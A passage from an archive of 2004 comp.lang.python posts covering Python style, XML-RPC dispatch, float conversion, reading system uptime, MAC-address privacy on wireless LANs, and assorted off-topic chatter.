Message-ID: <kuWdnYATpLNh1cTcRVn-vQ@powergate.ca>

Peter Maas wrote:
> Peter Hansen schrieb:
> 
>> Sometimes, and more so lately, *painfully* slowly.  I'm somewhat
>> saddened by the waste involved in some of those threads where the
>> OP posts a vague question, we all spend days replying with various
>> guesses at what was really intended, and then finally the OP
>> posts again (and sometimes they don't even do us that courtesy!)
>> and says merely "oh, it wasn't that complicated, I just meant X"
>> and it turns out to have been a FAQ item anyway. :-(
> 
> 
> The best way to minimize c.l.py effort is to behave like an expert
> system:
> 
> synchronize: unknown. Please explain.

Maybe, but then I get emails telling me I'm being rude. :-(


From aahz at pythoncraft.com  Thu Sep  9 13:06:02 2004
From: aahz at pythoncraft.com (Aahz)
Date: 9 Sep 2004 13:06:02 -0400
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
Message-ID: <chq2hq$r6c$1@panix2.panix.com>

In article <pan.2004.09.09.16.26.16.985806 at python.net>,
marduk  <marduk at python.net> wrote:
>
>I commonly use code like this
>
>try:
>    # call optional method
>    myobj.method()
>except AttributeError:
>    # no biggie
>    pass
>
>Occasionally I use pylint, which is a good tool, but in the above
>snippet pylint will complain that 'Except doesn't do anything'.  True,
>but is that bad style?  I know there are other ways of doing it, but
>of all the other "obvious" ones, this appears the most straight
>forward.
>
>Should I ignore pylint or is there a more Pythonic way to do this?

Neither.  It's a perfectly good Pythonic idiom, but it's also likely to
be programmer error (mocking up the try/except structure and forgetting
to fill in the blanks later).  So you should ignore pylint when it's
code you're familiar with (and have already double-checked your
intentions), but you should pay attention to pylint when you're writing
new code and checking it.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"A foolish consistency is the hobgoblin of little minds, adored by little
statesmen and philosophers and divines."  --Ralph Waldo Emerson


From fuzzyman at gmail.com  Tue Sep  7 08:35:21 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 7 Sep 2004 05:35:21 -0700
Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was:
	Announcing PyCs, a new Python-like language on .Net)
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
	<1stv02-qlp.ln1@home.rogerbinns.com>
Message-ID: <6f402501.0409070435.46f2b2de@posting.google.com>

"Roger Binns" <rogerb at rogerbinns.com> wrote in message news:<1stv02-qlp.ln1 at home.rogerbinns.com>...
> Jeremy Bowers wrote:
> > The "great" names are long gone.
> 
> Here is my (unpatented) technique:
> 
> Use APG online to generate pronounceable words (they are intended to be
> passwords but who cares).  You need to turn off symbols and digits.
> Here is one site:
> 
>   http://maurizio.giampy.it/apg/
> 
> Set the length range to whatever takes your fancy.  Read through the
> list and do a Google search for any that look good.  Wonder how on
> earth so many of them have matches.  Rinse and repeat until you find
> one with no matches.
> 
> It was how I came up with Entrocul and BitPim :-)
> 
> I did actually send an email to Google labs suggesting they come
> up with an "naming" tool where you could suggest what style of
> name you wanted (eg scientific, Italian, computery) and it would
> generate random strings of that form with no entries in the
> index.  They never responded.
> 
> Roger


That sounds like a *very* good idea..... 
I'm not going to do it though ;-)

Regards,


Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From jmfbahciv at aol.com  Tue Sep  7 07:30:43 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Tue, 07 Sep 04 11:30:43 GMT
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no>
Message-ID: <413daee5$0$6932$61fed72c@news.rcn.com>

In article <1s4ihc.4i4.ln at via.reistad.priv.no>,
   Morten Reistad <firstname at lastname.pr1v.n0> wrote:
>In article <413c5b9c$0$19705$61fed72c at news.rcn.com>,
> <jmfbahciv at aol.com> wrote:
>>In article <rv1hhc.mtv2.ln at via.reistad.priv.no>,
>>   Morten Reistad <firstname at lastname.pr1v.n0> wrote:
>>>In article <413af268$0$19706$61fed72c at news.rcn.com>,
>>> <jmfbahciv at aol.com> wrote:
>>>>In article <20040904.2231.57679snz at dsl.co.uk>,
>>>>   bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote:
>>>>>On Thursday, in article
>>>>>     <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com
>>>>>     wrote:
>
>>>VMS was too early, and was made too politically correct.
>>>
>>>TCP/IP was NOT politically correct until around 1996 or so. 
>>>TPTB wanted OSI, GOSIP/Decnet Phase 5 and all that crud, until we
>>>Internet people hammered them. 
>>>
>>>>>Indeed, it took many years before DEC [sorry, by then it was already
>>>>>d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded 
heap
>>>>>of quivering jelly created by the Eunice idiots.
>>>>>
>>>>>Before that, people who needed TCP/IP on a Vax used various 
third-party
>>>>>solutions, such as the implementations from Carnegie-Mellon (CMU) 
>>>>
>>>>Sigh!  If CMU had it, I would have assumed it got hornshoed into
>>>>VMS.
>>>
>>>Wrong mindset. TCP/IP was never a DEC invention, much less a D I G I T A 
L 
>>>one. 
>>
>>It didn't have to be a DEC invention.  If it was CMU, we got it
>>shoved down our throats and up our asses.  However, I see
>>that the dates explain why TCP/IP didn't get into VMS.  
>>Apparently the protocol got good after Gordon Bell left DEC.
>
>1995 was the year everyone and Bill Gates discovered the Internet
>existed; and wanted in on the deal. Suddenly everyone needed Internet
>solutions. 

I knew the Internet existed when I started reading the ads in the
WSJ and they had this strange arrangement of characters that 
began with www.  At first, there were only a few.  _One_ year
later there were  lot.  Less than two years later, everybody had
one.  I watch ads to foretell trends.

>
>>Since TCP/IP was in the 90s, I couldn't have heard about it
>>over the wall (I think I stopped working in 1987).  I could
>>swear that cybercurd meant something.
>>
>>ISTR, the -20 types yakking about it.
>
>TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather)
>converted Jan 1st 1983; with final NCP service turned off everywhere
>by mid march 1983.

Aha!  Whew!  Then my memory isn't completely gone.  If it was
launched in 1982, then they had to have been yakking about it
in 1980 and 1981. 
>
>Tops20 has an IP package; but it was pretty rudimentary in version 4, 
>and not quite complete even by those standards even in version 7.

Version 4 and version 7 were way after 1980.

/BAH

Subtract a hundred and four for e-mail.


From skip at pobox.com  Tue Sep  7 15:08:41 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 7 Sep 2004 14:08:41 -0500
Subject: glossary wiki
In-Reply-To: <YXm%c.12429$lP4.940107@news20.bellglobal.com>
References: <mailman.2881.1094337154.5135.python-list@python.org>
	<YXm%c.12429$lP4.940107@news20.bellglobal.com>
Message-ID: <16702.1849.442280.227304@montanaro.dyndns.org>


    Nicolas> I guess it would be nice to put this glossary on
    Nicolas> http://www.python.org/moin/.

That's fine with me.  If someone does it let me know and I'll dump mine and
redirect to the relevant page.

Skip


From abra9823 at mail.usyd.edu.au  Tue Sep 21 03:13:01 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Tue, 21 Sep 2004 17:13:01 +1000
Subject: MAC address
In-Reply-To: <rlP3d.1275$g42.1134@newsread3.news.pas.earthlink.net>
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
	<414f7c66$0$60638$a1866201@newsreader.visi.com>
	<mailman.3616.1095729288.5135.python-list@python.org>
	<414fa1ec$0$63273$a1866201@newsreader.visi.com>
	<mailman.3620.1095739940.5135.python-list@python.org>
	<rlP3d.1275$g42.1134@newsread3.news.pas.earthlink.net>
Message-ID: <1095750781.414fd47d54f63@www-mail.usyd.edu.au>

i am going to try and answer a lot of questions posed in separate emails
here.

first of all a more detailed scenario.
considers a ubiquitous/pervasive computing scenario. People walk around
with PDA's which contains information on their activities, preferences
etc. this information can be used to provide personalized services.
consider a shopping center. you have a videostore, a supermarket, perhaps a
cinema as well. there is wireless LAN present. when you walk into the
center carrying your PDA (together with lots and lots of people) you join
up the wireless LAN. the service providers (supermarket, videostore,
cinema) have systems running that periodically broadcast a message saying
what information they need from you along with the adress of the service
provider. you then release the information and this can be used to light
up a particular display bard etc. The information release which is the
information stored also does not contain anything that can uniquely
identify you.
i am abstracting over quite a few issues here including format for
exchanging data, understanding data, communicating the personalized
service etc. all these are relevant but not of interest to me.
now to your questions


Quoting Andrew Dalke <adalke at mindspring.com>:

> Sure.  But if someone's doing that much traffic analysis then
> other possibilities are:
>
>    - do you have characteristic use patterns? (eg, check
>          c.l.py every 5 minutes, pull email from your server)

     maybe they might. but we are really looking at someone who uses the
service say a few times a day. and there will be hundreds of other users
also with varying frequencies of usage.

>
>    - does your machine have characteristic patterns?  My Mac
>        and my NT boxes both like telling the network that they
>        are present.  Even with file services, iTunes and other
>        services turned off, it would be pretty easy to identify
>        my machine by looking at the headers in an HTML request.
>        (Eg, look at the browser identification string, or
>        see what cookies are sent and match them to previously
>        seen cookies)

       i have no clue, i'll need to check. again we are looking at many
users with similar devices.

>
>    - after a new machine connects to the network, check if
>        an old machine stop connecting.  Even better, since
>        you're talking wireless, see if the new machine has the
>        same signal strength as the one one.
>
       again, say hundreds of users doing the same thing, ie communicating
with different MAC addresses.

>    - for that matter, someone trying to figure out who people
>        are could use several receivers, or a directional
>        antenna to figure out where you are and just watch you.

       this is very much possible if the area is sparsely occupied. but if
you have lots and lots of people around, i doubt you can pinpoint to a
single person in the crowd.

>
>    - does your machine tell the DHCP server a hostname?  If so,
>        don't forget to change it when you change your MAC address.
>        If not, are you the only one who doesn't use a name?
>
      next step after removing the MAC.


Quoting Jeremy Bowers <jerf at jerf.org>:
>
> Unless your WLAN is monstrous, they can link your ten uses together by
> looking for the wildly changing MAC address that is only used once. You
> need everybody to do that for it to be any sort of defense.
>
like i mentioned above, we assume that most if not all users are doing the
same thing, i.e., using wildly changing MAC addresses

> Have you done a decent threat analysis? What are you protecting? What is
> your likely attack vectors? Who cares, or rather, what kind of person
> will
> care? I don't know any of these answers and you are free to share them
> or
> not, as you are comfortable.
>
since its not a commercial application - merely a research project, no, i
haven't done a threat analysis w.r.t to the type of information exchanged.
i have however looked at all security threats in such a system and will be
applying mechanisms for authentication, confidentiality, integrity etc.

> I am curious about what information you feel you are going to leak with
> a
> static MAC address that you are not going to leak equally with wildly
> changing ones with only slightly more effort from whatever attacker you
> are worried about. Again, it is completely your choice to answer this,
> of
> course, but you have piqued my curiosity.
the ability of a commercial service provider to link your interactions
together and generate a profile of you - that is what i am trying to guard
against. i would like users to have the option of interacting with a
service under different pseudonyms. thus the information they exchange the
first time may be different from what they exchange a second time around.

Quoting Pierre Fortin <pfortin at pfortin.com>:

>
> The type of LAN is immaterial to what you are proposing.  Whatever MAC
> address (excl. broad-/multi-cast) you pick, the server should only snarf
> it if you send some packets to the server (unless the server is also
> running some sniffer code).  As long as you _do_ try to talk to the
> server, whichever MAC you use *will*be*known* to the server -- it's the
> only way you can get a response...  if you could change just your Tx MAC
> and not your Rx MAC, the server would respond to your
> known-to-the-server
> MAC address; but your machine wouldn't hear it cuz it'd be listening on
> a
> different MAC (Rx)...
>
> You can't "anonymize" if you plan to have a _conversation_ with the
> server...
umm the exchange is one-way. i dont intend to have a conversation with the
server.

thanks for all your comments and apologies to other folks on the list -
this was quite off topic.

cheers

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From apardon at forel.vub.ac.be  Mon Sep  6 02:52:41 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 6 Sep 2004 06:52:41 GMT
Subject: allowing braces around suites
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<cgn73r$scr$1@nntp0.reith.bbc.co.uk>
	<mailman.2515.1093608707.5135.python-list@python.org>
	<1rk6vkeo5d.fsf@rovereto.ifi.uio.no>
	<87hdqok9i6.fsf@sinken.local.csis.hku.hk>
	<1rfz68ely9.fsf@rovereto.ifi.uio.no>
	<876574k7du.fsf@sinken.local.csis.hku.hk>
	<1r3c28ejis.fsf@rovereto.ifi.uio.no>
	<zILXc.54863$xi6.26091@fe2.texas.rr.com>
	<1rllg0cb3m.fsf@rovereto.ifi.uio.no>
	<874qmovxna.fsf@sinken.local.csis.hku.hk>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<877jrfo1t3.fsf@sinken.local.csis.hku.hk>
Message-ID: <slrncjo2bk.7or.apardon@rcpc42.vub.ac.be>

Op 2004-08-31, Isaac To schreef <iketo2 at netscape.net>:
>>>>>> "Antoon" == Antoon Pardon <apardon at forel.vub.ac.be> writes:
>
>    Antoon> I used to limit myself to indentation to see which code
>    Antoon> belonged to which control. But then I found myself witch
>    Antoon> controls that were so nested it was hard to see to which
>    Antoon> if a particular else suite belonged
>
> This is a clear sign that you nest too much, and no matter how the
> language looks like your code become very hard to read.

I would agree if it still was hard to see when end markers are
used.

> I'm now used
> to write in C using 8-spaces tabs, with no more than 5 levels of
> indentation (typically 3 levels), and the screen width is maintained
> at 80 columns.

I have had code with only 4 levels of indentation in which I find that
end markers help a lot in finding out which if an else belongs too.

> My rationale is very simple: if Linux kernel hackers
> can do that with their sorely complicated project and I find any
> problem on my own little projects, I must have some real problem.

But C has end markers. So that programmers in a language with end
markers can easily nest up to a certain level doesn't mean that
the same code indented the same but without end markers would be
just as easily readable.

-- 
Antoon Pardon


From me at privacy.net  Mon Sep 27 00:14:38 2004
From: me at privacy.net (Richard Hanson)
Date: Sun, 26 Sep 2004 21:14:38 -0700
Subject: Whose is smaller (was: Math errors in python)
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<q74el01gndjj4u6d77uokbpvpn4lib1qek@4ax.com>
	<1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com>
	<adeel054s0qvd0qas7nk1v9i93vk3tdlv1@4ax.com>
	<9d2k22-tj1.ln1@lairds.us>
Message-ID: <141fl01ecvoobq2h33ud827p6mefvu3183@4ax.com>

Cameron Laird wrote:

> In article <adeel054s0qvd0qas7nk1v9i93vk3tdlv1 at 4ax.com>,
> Richard Hanson <me at privacy.net> wrote [comparing 
> Anna Martelli Ravenscroft's Fujitsu LifeBook P2000 to my
> (Richard Hanson's) Fujitsu LifeBook P1120]:
>
> > [...]
> >
> >In any event, the Fujitsu LifeBook P1120 has a 8.9" wide-format
> >screen, is 2.2lbs.-light with the smaller *very* long-lasting battery
> >and 2.5lbs.-light with the very, *very* long-lasting battery, and has
> >-- what tipped the scales, as it were, for my needs -- a touchscreen
> >and stylus.
> >
> > [...]
> >
> >Alex Martelli wrote:
> >
> >> OBCLPY: Python runs just as wonderfully on her tiny P-Series as on my
> >> iBook, even though only Apple uses it within the OS itself;-)
> >
> >ObC.l.pyFollow-up: Python also runs very well on my tinier ;-) P1120
> >with the Transmeta Crusoe TM5800 processor running at 800MHz and with
> >256MB RAM and a 256KB L2 on-chip cache -- even using Win2k. :-) It's
> >really nice not needing a fan on a laptop, as well -- even when
> >calculating Decimal's sqrt() to thousands of decimal places. ;-)
> 			.
> 			.
> 			.
> Is Linux practical on these boxes?  

I've found on the web accounts of two people, at least, getting the
P1120 working with Linux and with at least partial functionality of
the touchscreen -- one individual claimed full functionality. (I found
some accounts of success with getting Linux working on the P2000, as
well.) I'm currently waiting to purchase a new harddrive for my P1120
to see for myself if I can get Linux installed with the touchscreen
fully functioning -- which, as I mentioned in my post, is particularly
important to me.

> How do touch-typists like them

I've been touch-typing since I was about nine-years-old. When I was
looking for a very light laptop for reasons mentioned in my post, I
was concerned that I wouldn't be able to touch-type on the ~85% (16mm
pitch) keyboard. I went to a local "big box" computer store (who shall
remain nameless) and tried one of the P1120s -- within seconds I
realized I could easily adapt and subsequently ordered one from
Fujitsu.

I would estimate that I was typing *faster* and with substantially
*fewer* errors inside of several weeks -- and occasional uses of the
standard-sized keyboard on my HP Omnibook 900B made me feel like a
Munchkin. :-) 

Now that I'm temporarily back on the standard-pitch Omnibook 900B, I
have adapted to the what-had-come-to-seem-a-humongous keyboard, once
again. I most definitely prefer the P1120's keyboard.

I note that on the P1120, I could reach difficult key-combinations
much easier, and also, that I could often hold down two keys of a
three-key combo, say, with one finger or thumb.

Your mileage may vary, as they say, but I now prefer smaller
keyboards.

The "instant on-off" works very well, too. I highly recommend the
P1120 for anyone who isn't put off by the smaller keyboard. (Drawing
on the screen with the stylus is pretty trick, as well.)


Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From deetsNOSPAM at web.de  Thu Sep  2 17:37:02 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Thu, 02 Sep 2004 23:37:02 +0200
Subject: Right way to define methods to SimpleXMLRPCServer?
References: <mailman.2786.1094154407.5135.python-list@python.org>
Message-ID: <ch83pv$2p2$07$1@news.t-online.com>

> When I call a method on the server with no args _dispatch is called, and
> the server prints this:
> 
>     {'args': ((),), 'kwds': {}}
> 
> Seems to me like it has one nesting level too many in the args tuple.
> Shouldn't it be ()?  Is this a bug or am I misinterpreting something?

Calling a function without any args always yields an empty tuple - like
this:

>>> def foo(*args): print args
>>> foo()
()
>>>


Looking at SimpleXMLRPCServer one sees this:

        params, method = xmlrpclib.loads(data)
        # generate response
        try:
            if dispatch_method is not None:
                response = dispatch_method(method, params)


So the argument list is the second argument, which is probably the empty
tuple- that explains your observations.

Looking into the docs, you see that dispatch is supposed to have this
signature:

def _dispatch(self, method, params):

No * here, as well as keywords. Then things are more clear :)



-- 
Regards,

Diez B. Roggisch


From maps_263 at hotmail.com  Fri Sep 17 12:37:07 2004
From: maps_263 at hotmail.com (Jonas Hei)
Date: Fri, 17 Sep 2004 18:37:07 +0200
Subject: Recommendations about xmltramp
Message-ID: <opsehcf5d4r0m89z@fx1025>

I'd like to get experts' opinion about
xmltramp (http://www.aaronsw.com/2002/xmltramp/).

I am still in early stages of exploration - I need to
  determine to process XML in my next project.
Currently I like ElementTree (@ effbot.org) and xmltramp.
But I am bit concerned about Mark Pilgrim's comments about
xmltree(http://diveintomark.org/archives/blinks/2003/12/#b20031218035253)

Can anyone elaborate/explain about scenarios in which xmltramp can corrupt  
data?
Or was it all just a joke...




From peter at engcorp.com  Tue Sep  7 09:27:13 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Sep 2004 09:27:13 -0400
Subject: How to actually write a program?
In-Reply-To: <1gjqk5q.vkzzpcbywftaN%aleaxit@yahoo.com>
References: <chano0$1gv$1@sparta.btinternet.com>
	<mailman.2916.1094457850.5135.python-list@python.org>
	<O9GdnTcSZLeCcaHcRVn-oA@powergate.ca>
	<1gjqk5q.vkzzpcbywftaN%aleaxit@yahoo.com>
Message-ID: <IcOdnbhAqfAqK6DcRVn-hQ@powergate.ca>

Alex Martelli wrote:

> Peter Hansen <peter at engcorp.com> wrote:
>>Ahhh!!  Run!  Run, Neil, run!  UML!
...
>>Ahhh!!! Run away some more!  UML and XP are nearly anti-thetical.
> 
> UML and Agile/XP are typically used in organizations with very different
> philosophies and mindsets.  They're anything but antithetical
> _technically_, but, _culturally_, you're probably right...

I guess I won't (can't) disagree until I have an idea what
you mean in this case by "technically".  On the face of it,
I see little that isn't antithetical about them, technically
or otherwise.  Quick (and for the most part throw-away) drawings
on whiteboards would seem to be the preferred Agile/XP solution,
but maybe that's where you bring in "culturally"...

>>-rabidly-anti-UML-ically y'rs,
>>  Peter
> 
> I suspect your "anti-ness" comes from cultural and not technical factor.
> Basically, injecting some modeling into an Agile culture, just like the
> reverse, takes diplomatic talents which very few people possess...

Again, not sure how to tell the difference.  I was working in
a group where we were trying to make effective use of UML
before we ever encountered Agile... in fact, it was in part
due to those experiences that we embraced agility and XP...
And since we managed to get agility into a modeling culture,
I'll assume someone had the necessary talents.  I think the
problem lay elsewhere.

-Peter


From klapotec at chello.at  Wed Sep  1 21:47:44 2004
From: klapotec at chello.at (Christopher Koppler)
Date: Thu, 02 Sep 2004 01:47:44 GMT
Subject: I've seen things you people wouldn't believe... ;
	-) (was Re: age of Python programmers)
References: <20040819231139.D039A1E4003@bag.python.org>
	<mailman.1999.1092969866.5135.python-list@python.org>
	<eyqWc.223375$j62.10948731@phobos.telenet-ops.be>
	<qVAWc.2328$MR2.9560@news1.mts.net>
	<njemi0hrm3jb1kdc8mhg8krd9a4qu3e894@4ax.com>
	<896dnZfdH8-l1rbcRVn-qw@powergate.ca>
	<Pine.LNX.4.44.0409011131230.23334-100000@ccc4.wpi.edu>
Message-ID: <pan.2004.09.02.01.47.44.2269@chello.at>

On Wed, 01 Sep 2004 11:54:41 -0400, Christopher T King wrote:

> If you want a story though, I interned at a Windows shop these past two
> summers, where all their programming was done in VB embedded in Word
> documents, or in a third-party supplied castrated version of VB (on the PC

That didn't just happen to be (expletive deleted) SAX Basic?

If I never see that again, it'll be too early.

-- 
Christopher



From simoninusa2001 at yahoo.co.uk  Sun Sep 19 03:31:26 2004
From: simoninusa2001 at yahoo.co.uk (Simon John)
Date: 19 Sep 2004 00:31:26 -0700
Subject: $LD_LIBRARY_PATH, cx_Freeze and wxPython
In-Reply-To: <9klv12-66q.ln1@home.rogerbinns.com>
References: <1095571462.551292.150660@k26g2000oda.googlegroups.com>
	<9klv12-66q.ln1@home.rogerbinns.com>
Message-ID: <1095579086.031479.116310@h37g2000oda.googlegroups.com>

Yup, just found that --init-script=ConsoleSetLibPath myself, thanks,
seems to work on SUSE 9.1 Pro, well done with the Wiki Page BTW!

I also just found the mailing list, although at the time I wasn't sure
if it was a wxPython or cx_Freeze issue...

Now I've just got to find out why McMillan Installer segfaults on RHEL
3ES.....



From Mike at Geary.com  Thu Sep  2 14:25:25 2004
From: Mike at Geary.com (Michael Geary)
Date: Thu, 2 Sep 2004 11:25:25 -0700
Subject: Announcing PyCs, a new Python-like language on .Net
References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net>
	<mailman.2573.1093758218.5135.python-list@python.org>
	<1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<7Y2dncuabfymLajcRVn-gw@powergate.ca>
	<1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net>
	<pan.2004.09.01.16.39.03.778189@jerf.org>
	<Pine.LNX.4.44.0409012241180.1094-100000@kleigh.nl>
	<hZBZc.300361$J06.209110@pd7tw2no>
Message-ID: <10jepclkbnf8aac@corp.supernews.com>

> Peter Kleiweg <in.aqua.scribis at nl.invalid> wrote:
> > There are quite a lot of people who think JavaScript and
> > Java are the same thing, if not at least remotely related.

Martin DeMello" <martindemello at yahoo.com> wrote:
> Whch is sad, because javascript is actually a much nicer
> language than the 'java' part of its name would suggest :)

Indeed, JavaScript has much more in common with languages like Python and 
Ruby than it does with Java.

But even the supposed experts get this wrong. I was at a talk that Danny 
Goodman gave on scripting languages, and one of his slides said "JavaScript 
is Java without the gnarly bits."

I've never heard a more profound misunderstanding of JavaScript. <sigh>

-Mike




From pf_moore at yahoo.co.uk  Sun Sep 19 08:34:38 2004
From: pf_moore at yahoo.co.uk (Paul Moore)
Date: Sun, 19 Sep 2004 13:34:38 +0100
Subject: Python binaries for Solaris, HP-UX
References: <uk6urzzse.fsf@yahoo.co.uk> <doet12-868.ln1@valpo.de>
	<uisab1stx.fsf@yahoo.co.uk> <973u12-rta.ln1@valpo.de>
Message-ID: <u3c1eqvxd.fsf@yahoo.co.uk>

Mathias Waack <M.Waack at gmx.de> writes:

> Paul Moore wrote:
>
>>> HP offers precompiled packages of free software at the DSPP pages:
>>>
> http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,4682,00.html
>> 
>> That installs to /usr/local, unfortunately. As I said, I need
>> something that will install as an unprivileged user 
>
> If you take a closer look you will see, that the HP packages can be
> unpacked anywhere. Its just a little more work then using the
> installer. 

I apologise for being dense here - as I said, I am not familiar with
Unix admin (I'm an Oracle DBA, in fact). I checked the Python package
linked to from that site, which takes me to the HP-UX porting and
archive centre. The binary distribution is a compressed depot file,
which isn't a format I'm familiar with, but the FAQ states:

"""
5.5 What do I do with SD 11.X depot packages?
You can either install software onto your system using swinstall(1M),
or you can redistribute the software using swcopy(1M) and others may
then install the software directly from your machine. Both actions
require root access.
"""

I searched the FAQ on that site, and can see nothing about installing
as a non-root user.

> BTW I'm working for company which solved this problem by allowing
> everybody to write to /usr/local. 
>
> BTW2 I do not working as a system administrator for this company;)

Ah - an enlightened company :-) Unfortunately, I'm working for a
company that does 3rd party support for *other* companies. By the
time you have 2 layers of admin and "security" rules in place, you're
lucky if you can get access to ksh... :-(

I really don't want to write our admin scripts in Perl, just because
it comes preinstalled :-(

Paul.
-- 
Home computers are being called upon to perform many new functions,
including the consumption of homework formerly eaten by the dog --
Doug Larson


From sbabbitt at commspeed.net  Tue Sep 14 10:10:54 2004
From: sbabbitt at commspeed.net (Tom B.)
Date: Tue, 14 Sep 2004 07:10:54 -0700
Subject: IEEE 754 floats
References: <a2a325a7.0409140504.2d36562b@posting.google.com>
Message-ID: <1095171670.187619@news.commspeed.net>


"Dale Huffman" <dale_huffman at steris.com> wrote in message 
news:a2a325a7.0409140504.2d36562b at posting.google.com...
> Is there a simple way to convert an IEEE-754 floating point ascii
> string ( "0x40400000" = 3.0, 32bit ) into a float variable, without
> writing a function to do the math.  I have transferred this across a
> network from a device I have no contol over and it sends all data as a
> string.  Everything I have tried just converts from hex to decimal and
> adds a decimal point and a zero.
>
> string.atof("0x40400000")  returns 1077936128.0
>
> In case I'm not explaining clearly, what I'm looking for could be
> coded in C as follows:
>
> int     a = 0x40400000;
> float *ap = (float *)&a;
>
> float myFloat = *ap;
>
> Sorry if the C offeded anyone in the Py crowd but I'm new to Python
> and so far it rocks - I just don't have the basics down yet.

Have a look at the struct module in the standard distribution.

Tom 




From noone at here.com  Thu Sep 30 01:10:35 2004
From: noone at here.com (M. Clift)
Date: Thu, 30 Sep 2004 06:10:35 +0100
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
	<mailman.4116.1096515802.5135.python-list@python.org>
Message-ID: <cjg61p$uvn$1@newsg3.svr.pol.co.uk>

Hi Steven,

Sorry, as I'm a beginner I don't think I should have used the title rotate
list, as that's not what I want.

If the list  ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would
of course give('d', 'b', 'a' etc...

What I'm looking for is that say if trans = 1, then the list would become
('b', 'a', 'c', 'b', 'a', 'd', 'c') .
For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a')

items = ('a', 'b', 'c', 'd')
items + 1 = ( 'b', 'c', 'd', 'a')
items + 2 = ( 'c', 'd', 'a', 'b')
items + 3 = ( 'd', 'a', 'b', 'c')

trans = 1

list = ('a', 'd', 'b', 'a', 'd', 'c', 'b')


I can think of the long/wrong way to do it as shown for trans = 3, but there
must be some simpler idea.


for idx in range(len(items)):
    if list[idx:idx + 1] == ['a']:
       list[idx:idx + 1] = ['d']
    if list[idx:idx + 1] == ['b']:
       list[idx:idx + 1] = ['a']




From fredrik at pythonware.com  Sun Sep 19 16:33:46 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 19 Sep 2004 22:33:46 +0200
Subject: uptime in unix
References: <ciknln$16q$1@online.de>
Message-ID: <cikqbi$g9n$1@sea.gmane.org>

Oli Schwarz wrote:

> how can I read out the uptime of a unix system in python (Linux and *BSD).
>
> I have not found a uptime-function in the Library.

try this:

uptime, idletime = [float(field) for field in open("/proc/uptime").read().split()]

(times in seconds)

I don't know if this works on *BSD; in worst case, you have to parse the output
from the uptime command itself:

    import re, os

    output = os.popen("uptime").read()

    m = re.search("up (\d+) days,\s+(\d+):(\d+)", output)
    if not m:
        raise ValueError("unknown uptime format")

    days, hours, minutes = map(float, m.groups())

    uptime = days * 86400 + hours * 3600 + minutes * 60

(tweak as necessary)

</F> 





From simoninusa2001 at yahoo.co.uk  Sun Sep 19 19:17:29 2004
From: simoninusa2001 at yahoo.co.uk (Simon John)
Date: 19 Sep 2004 16:17:29 -0700
Subject: python is going to die! =(
In-Reply-To: <Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com>
Message-ID: <1095635849.649169.161680@k26g2000oda.googlegroups.com>

Don't feed the troll.

If he needs an IDE, then he is not a programmer, he's a code monkey,
just like Java guys - they're a dime a dozen as they can't code, they
rely on the auto-completion and drag'n'drop of visual IDEs.



From fumanchu at amor.org  Thu Sep 30 13:44:06 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Thu, 30 Sep 2004 10:44:06 -0700
Subject: idiom for debug code?
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F1C@exchange.hqamor.amorhq.net>

Dan Perl wrote:
> Is there a mechanism or an idiom for adding code for 
> debugging so that it 
> can easily be removed in the production code?  I am thinking 
> of something 
> similar to the C/C++ preprocessor statements with which you 
> can compile an 
> application with the debug code or without it (the default).

>From the docs (http://docs.python.org/ref/assert.html):

----

The simple form, "assert expression", is equivalent to

if __debug__:
   if not expression: raise AssertionError

The extended form, "assert expression1, expression2", is equivalent to

if __debug__:
   if not expression1: raise AssertionError, expression2

These equivalences assume that __debug__ and AssertionError refer to the
built-in variables with those names. In the current implementation, the
built-in variable __debug__ is 1 under normal circumstances, 0 when
optimization is requested (command line option -O). The current code
generator emits no code for an assert statement when optimization is
requested at compile time. Note that it is unnecessary to include the
source code for the expression that failed in the error message; it will
